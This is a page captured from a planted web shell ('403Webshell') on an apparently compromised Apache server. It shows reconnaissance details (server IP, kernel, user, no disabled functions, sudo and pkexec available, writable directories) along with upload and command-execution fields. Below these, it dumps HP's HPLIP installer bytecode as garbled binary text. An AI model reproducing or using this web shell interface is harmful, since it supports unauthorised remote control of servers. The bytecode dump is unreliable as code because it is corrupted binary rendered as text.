403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/hplip/installer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/hplip/installer/core_install.pyc
mJc@sjddkZddkZddkZddkZddkZddkZddkZddkZddkZyddk	Z	dZ
Wn(ej
oddkZdZ
nXddk
Z
ddkTddkTddklZlZddkTdZdZdZdZd	ZdZd	Zd
ZdZdZd	Zd
ZdZ dZ!d	Z"d
Z#dZ$dZ%d
Z&dZ'dZ(dZ)ei*ei+ddddddddddgZ,hdd6dd6dd6d d!6d"d#6d"d$6d"d%6d&d'6d d(6d)d*6d d+6d)d,6d d-6d d.6d d/6d d06d d16Z-gZ.xWe,D]OZ/yei0e/ei1Z2Wn e3j
oe.i4e/q.Xe.i4e2q.Wd2d3d4gZ5hd5d6d6d	6d7d
6d8d6d9d6d:d
6d;d6d<d=6d>d?6d@dA6dBdC6dDdE6dFdG6dHdI6dJdK6dLdM6dNdO6dPdQ6Z6yddRk7l8Z8Wnej
odSZ9nXdTZ9dUe:fdVYZ;dS(WiNcCsti|iS(N(thashlibtsha1t	hexdigest(ts((s*/usr/share/hplip/installer/core_install.pytget_checksum$scCsti|iS(N(tshatnewR(R((s*/usr/share/hplip/installer/core_install.pyR*s(t*(tutilstpexpectis0.0iiiiiiiswww.google.comshttp://www.google.coms	Continue?spasswor[dt]tkennwortspassword forsmot de passescontraseñas
palavra passes口令t
wachtwoordtheslogffffff?s+(?is)<TITLE>.*?(404|403).*?ERROR.*?</TITLE>s+(?is)<TITLE>.*?ERROR.*?(404|403).*?</TITLE>g333333?s(?is)<TITLE>ERROR</TITLE>g?s(?is)<TITLE>.*?ERROR.*?</TITLE>g?s#(?is)<META .*?(404|403).*?ERROR.*?>s#(?is)<META .*?ERROR.*?(404|403).*?>s((?is)<TITLE>.*?File Not Found.*?</TITLE>g?s#(?is)<TITLE>.*?Not Found.*?</TITLE>s(?is)<BODY.*(404|403).*</BODY>g333333?s(?is)<H1>.*?(404|403).*?</H1>s(?is)<BODY.*not found.*</BODY>s(?is)<H1>.*?not found.*?</H1>s&(?is)<BODY.*the requested URL.*</BODY>s+(?is)<BODY.*the page you requested.*</BODY>s+(?is)<BODY.*page.{1,50}unavailable.*</BODY>s.(?is)<BODY.*request.{1,50}unavailable.*</BODY>s(?i)does not existsadept-notifiertadept_notifiersyum-updatesdsGeneral/unknown errorslibusb not foundscups-devel not foundslibnetsnmp not foundsnetsnmp-devel not foundspython-devel not foundspthread-devel not foundsppdev-devel not foundislibcups not foundi	slibm not foundi
slibusb-devel not foundissane-backends-devel not foundislibdbus not foundi
sdbus-devel not foundisfax requires dbus supportislibjpeg not foundifsjpeg-devel not foundigslibdi not foundih(tupdate_wrappercsJfd}i|_|iiii|_i|_|S(Ncs*tidi||f||S(Ns$TRACE: func=%s(), args=%s, kwargs=%s(tlogtdebugt__name__(targstkw(tf(s*/usr/share/hplip/installer/core_install.pytnewfs(Rt__dict__tupdatet__doc__t
__module__(RR((Rs*/usr/share/hplip/installer/core_install.pyttracescsfd}t|S(Ncs*tidi||f||S(Ns$TRACE: func=%s(), args=%s, kwargs=%s(RRR(RR(R(s*/usr/share/hplip/installer/core_install.pyRs(R(RR((Rs*/usr/share/hplip/installer/core_install.pyRstCoreInstallcBseZeeddZd_dZddZd_dZdZ	d_ddZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZ dZ!d Z"d!Z#d"Z$d#Z%d$Z&d%Z'd&Z(d'Z)d(Z*d)Z+d*Z,d+Z-d,Z.d-Z/d.Z0d/Z1d0Z2d1Z3d2Z4d3Z5d4Z6d5Z7d6Z8d_d7Z9d_d8Z:d_d9Z;d:Z<d;Z=d<Z>d=Z?d>Z@d?ZAd@ZBdAZCdBZDdCZEdDZFdEZGdFZHd_dGZId_dHZJd_dIZKd_dJZLdKZMd_dLZNd_dMZOdNZPdOZQdPZRdQZSd_dRZTd_dSZUd_dTZVdUZWdVZXdWZYdXZZdYZ[dZZ\d_d[Z]d\Z^e_d_d]Z`d^ZaRS(`tqt4cCstid||_||_d|_dz\|_|_|_d|_t	i
|_tdt
|_|_|_t|_d|_t|_h|_t|_d|_d|_h|_t|_||_d|_d|_d|_ d|_!d|_"t|_#h)t$d6t%d6t$d	6t&d
6t$d6t'd6t&d
6t$d6t&d6t$d6t$d6t$d6t&d6t&d6t&d6t&d6t'd6t&d6t&d6t'd6t&d6t'd6t&d6t$d6t$d6t&d 6t'd!6t'd"6t'd#6t'd$6t'd%6t'd&6t&d'6t'd(6t&d)6t'd*6t'd+6t'd,6t$d-6t&d.6t$d/6|_(hd0d1d2d3d4d5d6gfd76|_)d7|_*htd8gfd16td9gfd26td:gfd36td;gfd46td<gfd56td=gfd66td>gfd*6|_+htd16td26td36td46td56td66td*6td+6|_,htd1gd?|i-t.fd@6td1gdA|i/t0fdB6td1gdC|i1t2fdD6td1gdE|i3t0fdF6td1gdG|i4t0fdH6td1gdI|i5t0fdJ6td1gdK|i6t0fdL6td1gdM|i7t0fdN6td1gdO|i8t.fdP6td1gdQ|i9t.fdR6td1gdS|i:t2fdT6td1gdU|i;t2fdV6td1gdW|i<t.fdX6td1gdY|i=t2fdZ6td5gd[|i>t2fd\6td5gd]|i?t0fd^6td5gd_|i@t2fd`6td5gda|iAt2fdb6td5gdc|iBt2fdd6td4gde|iCt2fdf6td4gdg|iDt.fdh6td4gdi|iEt2fdj6td4gdk|iFt2fdl6td3gdm|iGt2fdn6td3gdo|iHt2fdp6td3gdq|iIt2fd*6td3gdr|iJt2fds6td2gdt|iKt.fdu6td2gdv|iLt.fdw6|_Mx`|i+D]U}tNxE|iMD]:}||iM|dxjo|i+|dyiO|qkqkWqTW|iPh|_Qx)|iD]}||iQ|i|d<qWdS({Niti s/usrs/tmps0.0.0tdistrostindextversionstdisplay_namet	alt_namestdisplaytnotestpackage_mgrstpackage_mgr_cmdtpre_install_cmdtpre_depend_cmdtpost_depend_cmdthpoj_remove_cmdthplip_remove_cmdtsu_sudotppd_installt
udev_mode_fixtppd_dirtdrv_dirtfix_ppd_symlinkt	code_namet	supportedtrelease_datetpackagestcommandstsame_as_versiontscan_supportedt
fax_supportedtpcard_supportedtnetwork_supportedtparallel_supportedt
usb_supportedtpackaged_versiontcups_path_with_bitnesst
ui_toolkitt	policykittnative_cupstpackage_availabletpackage_archtadd_user_to_grouptopen_mdns_ports$HP Linux Imaging and Printing Systemtbasetnetworktgui_qt4tfaxtscantdocsthplips1Required HPLIP base components (including hpcups)sNetwork/JetDirect I/OsGraphical User Interfaces (Qt4)sPC Send Fax supportsScanning supportsHPLIP documentation (HTML)sAdministrative policy frameworkslibjpeg - JPEG librarytlibjpegs+libtool - Library building support servicestlibtools"CUPS - Common Unix Printing Systemtcupss9CUPS devel- Common Unix Printing System development filess
cups-devels)CUPS image - CUPS image development filess
cups-images$gcc - GNU Project C and C++ Compilertgccs6make - GNU make utility to maintain groups of programstmakes'Python devel - Python development filesspython-devels"libpthread - POSIX threads libraryt
libpthreads3Python 2.2 or greater - Python programming languagetpython2xsPython XML librariess
python-xmlsCGhostScript - PostScript and PDF language interpreter and previewertgsslibusb - USB librarytlibusbs&CUPS DDK - CUPS driver development kitscups-ddksSANE - Scanning librarytsanes)SANE - Scanning library development filess
sane-devels+xsane - Graphical scanner frontend for SANEtxsanes"scanimage - Shell scanning programt	scanimagesMPIL - Python Imaging Library (required for commandline scanning with hp-scan)tpils6Python 2.3 or greater - Required for fax functionalitytpython23sDBus - Message bus systemtdbuss&Python DBus - Python bindings for DBusspython-dbuss"Reportlab - PDF library for Pythont	reportlabs4PyQt 4- Qt interface for Python (for Qt version 4.x)tpyqt4s$PyQt 4 DBus - DBus Support for PyQt4s
pyqt4-dbuss+PolicyKit - Administrative policy frameworksJPython libnotify - Python bindings for the libnotify Desktop notificationss
python-notifys<libnetsnmp-devel - SNMP networking library development filesslibnetsnmp-devels)libcrypto - OpenSSL cryptographic libraryt	libcryptoii(RRR(Rtostumasktmodetui_modetpasswordtversion_descriptiontversion_publictversion_internaltbitnessRt
LITTLE_ENDIANtendiantDISTRO_UNKNOWNtDISTRO_VER_UNKNOWNtdistrotdistro_nametdistro_versiontFalsetdistro_version_supportedtinstall_locationt
hplip_presentthave_dependenciestTrueRBtNoneR/R0Rtnetwork_connectedR@tenabletdisabletplugin_pathtplugin_versiontplugin_nametreload_dbust	TYPE_LISTtTYPE_INTtTYPE_STRINGt	TYPE_BOOLtFIELD_TYPESt
componentstselected_componenttoptionstselected_optionst
check_libjpegtDEPENDENCY_RUN_AND_COMPILE_TIMEt
check_libtooltDEPENDENCY_COMPILE_TIMEt
check_cupstDEPENDENCY_RUN_TIMEtcheck_cups_develtcheck_cups_imaget	check_gcct
check_maketcheck_python_develtcheck_libpthreadtcheck_python2xtcheck_python_xmltcheck_gstcheck_libusbt
check_cupsddkt
check_sanetcheck_sane_develtcheck_xsanetcheck_scanimaget	check_piltcheck_python23t
check_dbustcheck_python_dbustcheck_reportlabtcheck_pyqt4tcheck_pyqt4_dbustcheck_policykittcheck_pynotifytcheck_libnetsnmptcheck_libcryptotdependenciestupdate_spinnertappendtload_distrost
distros_index(tselfRbRcR@topttd((s*/usr/share/hplip/installer/core_install.pyt__init__s
																				
	
"

$
	
c
Cs|dj	o|dntg|_xg|iD]\}txL|i|idgD]1}|o$||ijo|ii|q\q\Wq5W|i\|_|_|_	t
id|i|i|i	fx%|iD]}tt
|i|<qW|i|i|dj	o|d|in|i|xb|iD]W}tt
id||i|f|dj	o|d||i|fqKqKW|i\}}|ot
id||fnti|_t
id|itti|_t
id	|it|i|i|_|id
t
|_t
id|i|i|i|id|i|ift|i|_t
id
|i|i d\}}|i!|_"t
id|i"|idjo
t#|_$nt
id|i$|i d\}|_%|i%i&dd|_%t
i|i%t'i(ddt)i*dt)i+t'i(dd|i|dj	o|dndS(NsInit...
R%s<HPLIP Description=%s Public version=%s Internal version = %ssDistro: %s
shave %s = %ssResult: %s = %s
s Running package manager: %s (%d)sBitness = %dsEndian = %dR3sIDistro = %s Distro Name = %s Display Name= %s Version = %s Supported = %sR!sHPLIP (prev install) = %sscups-config --versionsCUPS version = %stubuntus&DBUS configuration reload possible? %ssuname -as
Rtinstallationt	date_times%x %H:%M:%StversiontDone(,RvRR%RtgetRtget_hplip_versionReRfRgRRRRpRtt
get_distrotdistro_changedRmtcheck_dependenciest
check_pkg_mgrRt
getBitnessRht	getEndianRjRRntget_distro_ver_dataRqRotcheck_hplipRstruntstriptcups_verRuR}tsys_uname_infotreplacet	user_conftsetttimetstrftimet	localtime(RtcallbackRtatpidtcmdlinetstatustoutput((s*/usr/share/hplip/installer/core_install.pytinitasv
	
	






#	
%
i cCs||_||_y|i|d|_Wn1tj
o%tid|tidnX||_	x|i
D]}t|i|<qqW|i
dddj|_|i
d|_|i
d|_t|_dS(NRsInvalid distro name: %siR-tppdR/R0(RnRoRRmtKeyErrorRterrortsystexitRhRRuRtRtenable_ppdsR/R0Rq(RRnRRhR((s*/usr/share/hplip/installer/core_install.pyt
init_for_docss			
cCstx|iD]v}ttid||dj	o|d|n|i|d|i|<tid||i|fqWtdS(Ns Checking for dependency '%s'...
s
Checking: %s
ishave %s = %s(tupdate_ld_outputRRRRRvRttcleanup_spinner(RRR((s*/usr/share/hplip/installer/core_install.pyRs

"cCsD|io|iS|itjoddk}|idSdSdS(NisEnter password: R(RdRctINTERACTIVE_MODEtgetpass(RR((s*/usr/share/hplip/installer/core_install.pyt
password_funcs
i,c
Cs|djod
Sti}td}}|idp
|id}yti|dd}Wntij
odSXzyti}	xt	ozt
|it}
|i
}|oZti}	ti|ti||i||dj	o||oPqqn|otti|	}|og|ddjotid|n||jo0tid	||i|id
t	Pqqn|
djot	|i}}Pq|
djoqq|
djo|idq|i|iqWWn&ttifj
otinXWdty|iWntj
onXX|o|i|fSdSdS(NiRtxtermsgnome-terminalttimeoutiisNo output seen in %d secss`No output seen in over %d sec... (Is the CD-ROM/DVD source repository enabled? It shouldn't be!)tforceitYES(iR(iR(iR(Rvt	cStringIOtStringIORpt
startswithR	tspawntExceptionPexpectRRuRtexpect_listtEXPECT_LISTtbeforeRtlog_to_fileRtwritetintRtcloset	terminatetgetvaluetsendlineRdt	Exceptiont	exceptionRtOSErrort
exitstatus(
RtcmdRRRtoktrett
check_timeouttchildtstarttitcbtspan((s*/usr/share/hplip/installer/core_install.pyRsj

 	











cCsTtidtd|_|_t}tid}|otidti	i
|d}|i|d\}}|ii
}tid||o|o|i|d\}}|ii
}tid||o]|oVxS|iD]D}|i|d	jo(|i|d
|_t}||_PqqWqNqRn|py%tddiii
}Wn&tj
otd|_|_q3Xx|iD]}|i|d	jo|i|d
|_t}nax]|i|id
dD]B}|o5|i|d	jo|i|d
|_t}PqqW|oPqqW|ox|iD]}	|	}
d|	jo di
|	idd }
nyt|
WnJtj
o>yt|
Wntj
od|_q
X|
|_PqoX|
|_PqoWtid||ifq3ntid|i|ifdS(NsDetermining distro...s0.0tlsb_releasesUsing 'lsb_release -is/-rs's -issDistro name=%ss -rssDistro version=%siRs
/etc/issuetrR"Rt.is/etc/issue: %s %ssdistro=%d, distro_version=%s(RRRkRmRoRpRtwhichR`tpathtjoinRtlowerRRtfindRutfiletreadtIOErrorRtsplittfloatt
ValueErrorR(RtfoundRRRtnametverRtxtntm((s*/usr/share/hplip/installer/core_install.pyR<sv


	%

		

 		"cCs!|idd}|djotid|n|dj|_tid|i|id|_|id|_|io#|iotid|in|id	t|_|id
t	|i
d<|idt	|i
d
<|idt	|i
d<|idt|i
d<|idt|_|iddi}|djo'tidd|_
t	|i
d<nt|i
d<|idj	o;d|ijo'tidd|_
t	|i
d<qn|idj	o2d|ijotidt|i
d<qndS(NR-RtdrvsInvalid ppd_install value: %ss"Enable PPD install: %s (False=drv)R/R0sInvalid drv_dir value: %sR3R9RJR;RHR8RKRARBR@RsDefault UI toolkit: Qt4RIsUser selected UI toolkit: Qt4sUser deselected UI toolkit: Qt4(sppdR(RRtwarningRRR/R0RpRqRuRRBRR@RxRvRy(RR-R@((s*/usr/share/hplip/installer/core_install.pyRs<


	

	
cCs|ii|t}|tjoti|S|tjo,tdt|jo|iS|Snx|tjo)yt	|SWqt
j
odSXnB|tjo4g}|idD]}|o||qq~SdS(NRit,(
RRRRRtto_boolttypeRRRR	R~R(Rtkeytdatat
field_typet_[1]R
((s*/usr/share/hplip/installer/core_install.pyt__fixup_datas




c
Csv|itjotiidd}n|itjotiidddd}nYtiitidd}tii|p*t	i
d|tiidd}nt|}|id|i
dd}t	i
|x|D]}th}|i|pt	i
d|qnx9|i|D](}|i||i
||||<q9W||i|<|id|i
|d}h|i|d<x|D]}tt}	}
h}d||f}|i|pt	id	||fqnd
|i|jo
t}	n|id|i
|d}
x9|i|D](}|i||i
||||<qMW||i|d|<h|i|d|d<|	oqnx|iD]}
h}d
|||
f}|i|o)|	o!t	i
d|||
fqnx9|i|D](}|i||i
||||<q(W||i|d|d|
<qWqW|i|d}x|D]}d||f}d
|i|jo|id
|i
|d
}t	i
d||||fy>|i|d|i}||d
<||i|d|<Wqjtj
o!t	i
d||fqqjXqqWqWdS(Nt	installersdistros.dats..s6DAT file not found at %s. Using local relative path...Rs+Missing distro section in distros.dat: [%s]R s%s:%ss/Missing version section in distros.dat: [%s:%s]R7R3tdependency_cmdss%s:%s:%ss5Missing dependency section in distros.dat: [%s:%s:%s]sSetting %s:%s to %s:%ssFMissing 'same_as_version=' version in distros.dat for section [%s:%s].(RbtMODE_INSTALLERR`RRtMODE_CREATE_DOCStpropthome_dirtexistsRRt
ConfigBaset_CoreInstall__fixup_dataRRthas_sectiontkeysRRpRuRRtcopyR(Rtdistros_dat_filetdistros_dattdistros_listRmRRR RR7R3tvtver_sectiontdeptddtdep_sectiontvv((s*/usr/share/hplip/installer/core_install.pyRs
&


&
&%
cCsdS(N((R((s*/usr/share/hplip/installer/core_install.pytpre_install(scCsdS(N((R((s*/usr/share/hplip/installer/core_install.pyt
pre_depend,scCs:ti}|d \}}tid||f|djS(NisPython ver=%d.%d(Rtversion_infoRR(Rtpy_vertpy_major_vertpy_minor_ver((s*/usr/share/hplip/installer/core_install.pyR0s	cCstddo
tddS(Ns
gcc --versionis
g++ --version(t
check_tool(R((s*/usr/share/hplip/installer/core_install.pyR7scCs
tddS(Nsmake --versiong@(R5(R((s*/usr/share/hplip/installer/core_install.pyR;scCs(tdptSttdddS(NRVsusb.hs/usr/includesusb_init(void)(t	check_libRptlentlocate_file_contains(R((s*/usr/share/hplip/installer/core_install.pyR?s
cCstdo
tdS(NRNs	jpeglib.h(R6t
check_file(R((s*/usr/share/hplip/installer/core_install.pyRFscCstdo
tdS(NR_scrypto.h(R6R9(R((s*/usr/share/hplip/installer/core_install.pyRJscCstdo
tdS(NRSs	pthread.h(R6R9(R((s*/usr/share/hplip/installer/core_install.pyRNscCstdo
tdS(Nt
libnetsnmpsnet-snmp-config.h(R6R9(R((s*/usr/share/hplip/installer/core_install.pyRRsc
Csytidddk}|i}yt|}Wn!tj
otidtSXtid||djotidtStSWn!tj
otidtSXdS(NsTrying to import 'reportlab'...isCan't determine version.s
Version: %.1fg@sSuccess.sFailed.(	RRR]tVersionRR	RpRutImportError(RR]Rtver_f((s*/usr/share/hplip/installer/core_install.pyRVs"
	



cCsGti}|d \}}tid||f|djo
|djS(NisPython ver=%d.%di(RR1RR(RR2R3R4((s*/usr/share/hplip/installer/core_install.pyRns	cCs/yddk}Wntj
otSXtSdS(Ni(txml.parsers.expatR<RpRu(Rtxml((s*/usr/share/hplip/installer/core_install.pyRus
cCs
tdS(Ntlibsane(R6(R((s*/usr/share/hplip/installer/core_install.pyR~scCsttdddS(Nssane.hs/usr/includesextern SANE_Status sane_init(R7R8(R((s*/usr/share/hplip/installer/core_install.pyRscCs5tidotddSttidSdS(NtDISPLAYsxsane --versiong?RX(R`tgetenvR5tboolRR(R((s*/usr/share/hplip/installer/core_install.pyRscCs
tddS(Nsscanimage --versiong?(R5(R((s*/usr/share/hplip/installer/core_install.pyRscCs
tddS(Nsgs -vg333333@(R5(R((s*/usr/share/hplip/installer/core_install.pyRscCsG|idjo/yddk}Wntj
otSXtSntSdS(NRi(R@tPyQt4R<RpRu(RRD((s*/usr/share/hplip/installer/core_install.pyRscCsK|idjo3yddkl}Wntj
otSXtSntSdS(NRi(tDBusQtMainLoop(R@tdbus.mainloop.qtRER<RpRu(RRE((s*/usr/share/hplip/installer/core_install.pyRscCs
tdS(NsPython.h(R9(R((s*/usr/share/hplip/installer/core_install.pyRscCs+yddk}Wntj
otSXtS(Ni(tpynotifyR<RpRu(RRG((s*/usr/share/hplip/installer/core_install.pyRs
cCstidyddk}yU|i}tiddig}|iD]}|t|qE~|d	jSWnitj
o]y2|i}tid|itidtSWqtj
otidtSXnXWnt	j
otSXdS(
Ns%Checking for python-dbus (>= 0.80)...isVersion: %sRiiPs#HPLIP requires dbus version > 0.80.s4Unknown version. HPLIP requires dbus version > 0.80.(iiPi(
RRR\RRtstrtAttributeErrort__version__RpR<(RR\RRR
((s*/usr/share/hplip/installer/core_install.pyRs$
	>	

cCs/yddk}tSWntj
otSXdS(Ni(tctypesRuR<Rp(RRK((s*/usr/share/hplip/installer/core_install.pytcheck_python_ctypess
cCs3tidtdgottdddS(NsBChecking for dbus running and header files present (dbus-devel)...sdbus-daemonsdbus-message.hs/usr/includetdbus_message_new_signal(RRtcheck_psR7R8(R((s*/usr/share/hplip/installer/core_install.pyRs
cCs tdottidS(Nscups.htlpr(R9RCRR(R((s*/usr/share/hplip/installer/core_install.pyRscCsI|id\}}|djotidtStidtSdS(Ns	lpstat -risCUPS is not running.sCUPS is running.(RRRRpRu(RRR((s*/usr/share/hplip/installer/core_install.pyRs


cCs
tddS(Nsraster.hs/usr/include/cups(R9(R((s*/usr/share/hplip/installer/core_install.pyRscCstidtddS(NsChecking for HPLIP...s
hplip.confs/etc/hp(RRtlocate_files(R((s*/usr/share/hplip/installer/core_install.pyRs
cCstidtdgS(NsChecking for hpssd...thpssd(RRRN(R((s*/usr/share/hplip/installer/core_install.pytcheck_hpssds
cCstidtdS(NsChecking for libtool...slibtool --version(RRR5(R((s*/usr/share/hplip/installer/core_install.pyRs
cCs<tidyddk}tSWntj
otSXdS(NsChecking for PIL...i(RRtImageRuR<Rp(RRS((s*/usr/share/hplip/installer/core_install.pyRs
cCs:tidtddptddo
tddS(NsChecking for cups-ddk...Rs/usr/lib/cups/drivers/usr/lib64/cups/drivers
media.defss/usr/share/cupsddk/include(RRR9(R((s*/usr/share/hplip/installer/core_install.pyRs
 cCs*tidtddo
tddS(NsChecking for PolicyKit...sPolicyKit.confs/etc/PolicyKits0org.gnome.PolicyKit.AuthorizationManager.services/usr/share/dbus-1/services(RRR9(R((s*/usr/share/hplip/installer/core_install.pyRs
cCstid|it}x}|D]u\}}xf|iD][}||joHxEtD]}||joPqTqTWtid||f||fSq:q:Wq$WtiddS(s@
            Check if any pkg mgr processes are running
        s*Searching for '%s' in running processes...sFound: %s (%d)s	Not foundiR(iR(RRR%tget_process_listtOK_PROCESS_LIST(Rt	processesRRtptk((s*/usr/share/hplip/installer/core_install.pyRs	


	
cCsd\|_|_|_|itjotidti}ytdd}WnBt	j
o6dt
idddti
|_|_|_qXxw|D]o}|idoY|i|}|id	|_|id
|_|id|_|id}PqqW|i|d
jotidqnby3dt
idddti
|_|_|_Wn+tj
od\|_|_|_nX|i|i|ifS(NRs:AC_INIT\(\[(.*?)\], *\[(.*?)\], *\[(.*?)\], *\[(.*?)\] *\)s./configure.inRt	configuresinternal-tags0.0.0tAC_INITiiiiRMsInvalid archive!(RRR(RRR(ReRfRgRbRtretcompilet
IGNORECASEtopenRtsys_confRRtinstalled_versionRtsearchtgroupRRRR(Rtac_init_patt	config_intct	match_objR((s*/usr/share/hplip/installer/core_install.pyR0s04	

3cCsud}h}|ido|id}|id|d<|ido||d<||d<|id	|d
<|id|d<|id
|d<|id|d<|iobt|d<t|d<t|d<t|d<|iot|d<t|d<qht|d<t|d<n_t|d<t|d<t|d<t|d<|iot|d<t|d<nt|d<t|d<|idj	ox|iD]}|djo"t|d<t|d<t|d<q|djo"t|d<t|d<t|d<q|djot|d<q|djot|d<q|djot|d<q|djot|d<qqWn|idj	ox|iD]}|djo"t|d<t|d<t|d<qt|djo"t|d<t|d<t|d<qt|djot|d<qt|djot|d<qt|djot|d<qt|djot|d<qtqtWn|i	dj	o|d|i	7}n|i
djo|d7}n|d|i7}|idto|i
djo|d7}n|idj	o"x|iD]}t||<qWn|idj	o"x|iD]}t||<qWnx9|D]1}||o|d|7}q<|d|7}q<W|S(Ns./configureR\spython-dbusRHs
network-buildRJs	fax-builds
dbus-buildRIRRKs
scan-buildRLs	doc-buildRAshpcups-installs
hpijs-installsfoomatic-ppd-installsfoomatic-drv-installscups-ppd-installscups-drv-installs --with-hpppddir=%si@s --libdir=/usr/lib64s --prefix=%sR?sZ --with-cupsbackenddir=/usr/lib64/cups/backend --with-cupsfilterdir=/usr/lib64/cups/filters --enable-%ss
 --disable-%s(
RtRRBRuRpRRxRvRyR/RhRrR(Rt
configure_cmdt
configurationt
dbus_availRe((s*/usr/share/hplip/installer/core_install.pyRYUs






































#

cCsotiido|id}n8tiido|id}n|id}|i|dS(Ns/etc/init.d/cupss/etc/init.d/cups restarts/etc/init.d/cupsyss/etc/init.d/cupsys restartskillall -HUP cupsd(R`RR R,R(RR((s*/usr/share/hplip/installer/core_install.pytrestart_cupsscCs|idS(Ns/etc/init.d/hplip stop(R,(R((s*/usr/share/hplip/installer/core_install.pyt
stop_hplipscCsftidjodSy|i|id}Wntj
o
d}nX|djodSdSdS(Nis%sR,tsus
su -c "%s"ssudo %s(R`tgeteuidRRnR(RR((s*/usr/share/hplip/installer/core_install.pyR,s
cCs|iddS(NR,Rl(tget_distro_data(R((s*/usr/share/hplip/installer/core_install.pytsu_sudo_strscCs |idd|idgS(Ns
make cleanRRsmake install(RYR,(R((s*/usr/share/hplip/installer/core_install.pyt
build_cmdss	cCshyM|i|id|ii|dp!|i|ii|dp|SWntj
o|SXtS(NR (RRnRoRRvRtvalue(RRtdefault((s*/usr/share/hplip/installer/core_install.pyRs(%cCs@y%|i|ii|dp|SWntj
o|SXdS(N(RRnRRvR(RRRr((s*/usr/share/hplip/installer/core_install.pyRns%cCsKy0|i|id|ii|dp|SWntj
o|SXtS(NR (RRnRoRRvRRq(RRRr((s*/usr/share/hplip/installer/core_install.pytget_ver_datas
0cCsR|idh}|i|h}|idg}|idg}||fS(NRR5R6(RsR(Rt
dependencyRtdependency_dataR5R6((s*/usr/share/hplip/installer/core_install.pytget_dependency_datas
cCsP|ii}|ig}g}g}x|D]}t}x1|i|dD]}|i|o
t}qPqPW|ok|i|\}}	|o3x0|D]$}
|
|jo|i|
qqWn|	o|i|	qq2q2W|i	d}|i||o)di
|}|iti|n|pt
idn|S(NiR&t sNo cmds/pkgs(RR$tsortRpRRuRvRtextendRnRRtcatRR(RR,tcommands_to_runtpackages_to_installtoverall_commands_to_runRtincludeRtpkgstcmdsRWR&((s*/usr/share/hplip/installer/core_install.pytget_dependency_commandss:


cCs|itjo
|itjS(N(RmRkRoRl(R((s*/usr/share/hplip/installer/core_install.pytdistro_known0scCsI|itjo1|itjo |itjo|idtStSdS(NR3(	RbRRmRkRoRlRsRpRu(R((s*/usr/share/hplip/installer/core_install.pytdistro_supported4s1cCsAytt|t|SWntj
ot||SXdS(N(tcmpRR	(RR
ty((s*/usr/share/hplip/installer/core_install.pyt	sort_vers;scCstidjS(Ni(R`Rm(R((s*/usr/share/hplip/installer/core_install.pytrunning_as_rootBscCsUdtiitidd}ti||id\}}ti|dS(Ns	file://%stdocsrelease_notes.htmlsxhost +(	R`RRtgetcwdRRRRtopenURL(RturlRR((s*/usr/share/hplip/installer/core_install.pytshow_release_notes_in_browserFs"
cCs4d}x'|iD]\}}}|d7}qW|S(Nii(tmissing_required_dependencies(Rtnum_req_missingRtdescR((s*/usr/share/hplip/installer/core_install.pyt'count_num_required_missing_dependenciesMs

cCs7d}x*|iD]\}}}}|d7}qW|S(Nii(tmissing_optional_dependencies(Rtnum_opt_missingRRtreqR((s*/usr/share/hplip/installer/core_install.pyt'count_num_optional_missing_dependenciesTs

ccsx|i|idD]}|i|dorxo|i|dD]X}|i|do@|i|p.tid|||i|d|fVqq?q?WqqWdS(NiiisMissing required dependency: %s(RRRRRtRR(RRR((s*/usr/share/hplip/installer/core_install.pyR[sccsbx|i|idD]}|i|dp||i|ojxg|i|dD]P}|i|p<tid|||i|d|i|d|fVqMqMWqqqWx|i|idD]}|i|dox}|i|dD]f}|i|dpN|i|p<tid|||i|d|i|d|fVqRqqWqqWdS(NiiisMissing optional dependency: %s(RRRRRtRRR(RRR((s*/usr/share/hplip/installer/core_install.pyRfs$;cCsd}x|i|idD]}|i|dpd}|i|p
d}n|||i|d||i|<|i|oMxJ|i|dD]3}|i|ptid||d7}qqWqqqW|S(NiiRRisMissing optional dependency: %s(RRRRRtRR(Rtanswer_callbackRRRrR((s*/usr/share/hplip/installer/core_install.pytselect_options|s
$cCst|_tid}|oktii|d}d|tf}ti	||i
|\}}ti	d||dj|_ntid}|oktii|d}d|tf}ti	||i
|\}}ti	d||dj|_ntid}|oktii|d}d	|tf}ti	||i
|\}}ti	d
||dj|_n|iS(Ntwgets&%s --timeout=10 --output-document=- %sswget returned: %ditcurls2%s --output - --connect-timeout 5 --max-time 10 %sscurl returned: %dtpings%s -c1 -W1 -w10 %ssping returned: %d(RpRwRRR`RRtHTTP_GET_TARGETRRRtPING_TARGET(RRRRRRR((s*/usr/share/hplip/installer/core_install.pytcheck_network_connections4	


cCs|id}ti||od}xq|D]i}|i|\}}|djotid|n|dj	o||d|n|d7}q0WtStSdS(NR'iisAn error occurred running '%s'sPre-install step %d(RRRRtwarnRvRuRp(RRtpre_cmdR
RRR((s*/usr/share/hplip/installer/core_install.pytrun_pre_installs


cCs|id}ti||o~d}xu|D]i}|i|\}}|djotid|n|dj	o||d|n|d7}q0WndS(NR(iisAn error occurred running '%s'sPre-depend step %d(RRRRRRv(RRRR
RRR((s*/usr/share/hplip/installer/core_install.pytrun_pre_depends


cCs|id}ti||o~d}xu|D]i}|i|\}}|djotid|n|dj	o||d|n|d7}q0WndS(NR)iisAn error occurred running '%s'sPost-depend step %d(RRRRRRv(RRtpost_cmdR
RRR((s*/usr/share/hplip/installer/core_install.pytrun_post_depends


cCs|id}ti||od}x|D]}|i|}|i|\}}|djo"tid|ti|n|dj	o||d|n|d7}q0WndS(NRFiisAn error occurred running '%s'sOpen mDNS/Bonjour step %d(RRRR,RRRv(RRtopen_mdns_port_cmdR
RRR((s*/usr/share/hplip/installer/core_install.pytrun_open_mdns_ports


cCs8g}|idto|i|idn|S(NR1s!python ./installer/fix_symlink.py(RRpRR,(RR((s*/usr/share/hplip/installer/core_install.pyt	pre_buildscCsbd}xU|iD]G}|i|\}}|dj	o||d|n|d7}qWdS(NisPre-build step %d(RRRv(RRR
RRR((s*/usr/share/hplip/installer/core_install.pyt
run_pre_builds

cCsbd}xU|iD]G}|i|\}}|dj	o||d|n|d7}qWdS(NisPost-build step %d(t
post_buildRRv(RRR
